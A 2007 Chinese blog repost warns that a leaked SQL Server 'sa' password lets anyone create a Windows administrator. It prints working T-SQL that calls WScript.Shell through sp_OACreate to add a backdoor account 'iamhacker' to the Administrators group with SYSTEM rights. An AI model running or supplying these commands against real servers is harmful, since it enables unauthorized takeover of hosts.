SQLServer的安全隐患超级用户sa的密码

发表于:2007-06-23来源:作者:点击数: 标签:
SQL SERVER存在着非常严重的 安全 隐患。sa的密码就像Administrator的密码一样重要。 假如别人获得了 数据库 超级用户sa的密码,那么他/她可以在查询分析器里使用下面的SQL语句轻易在Win2000(SQL SERVER所在的Server)上创建一个超级用户: declare @object i

   
  SQL SERVER存在着非常严重的安全隐患。sa的密码就像Administrator的密码一样重要。
  
  假如别人获得了数据库超级用户sa的密码,那么他/她可以在查询分析器里使用下面的SQL语句轻易在Win2000(SQL SERVER所在的Server)上创建一个超级用户:
  

  declare @object int
  --创建WScript.Shell
  EXEC sp_OACreate 'WScript.Shell',@object OUT
  --运.net user iamhacker opendoor /add
  --添加一个名字为iamhacker,密码为opendoor的用户
  EXEC sp_OAMethod @object,'Run',NULL,'net user iamhacker opendoor /add'
  --把iamhacker添加到Administrators组中
  EXEC sp_OAMethod @object,'Run',NULL,'net localgroup Administrators iamhacker /add'
  --把iamhacker从User组中删除
  EXEC sp_OAMethod @object,'Run',NULL,'net localgroup Users iamhacker /del'
  
  我已经尝试过了。。实在太恐怖了。
  
  上面的语句很短。核心是能够调用平台命令 net 。
  
  其实现方法是SQL SERVER调用COM Automation的强大功能。再配合WSH中的一个对象WScript.Shell的一个方法:Run。(注意,一般SQL SERVER都是配置在SYSTEM的权限下运行的。也就是说,Run所调用的程序也是具有SYSTEM的权限。)
  
  (相关的实验是,调用一下NOTEPAD,那么任务管理器下将有用户为SYSTEM的NOTEPAD。EXE进程存在)
  
  WScript.Shell的隐患其实已经在各个方面很显著了。想不到现在竟然在Sql Server上也有相关的问题。

原文转自:http://www.ltesting.net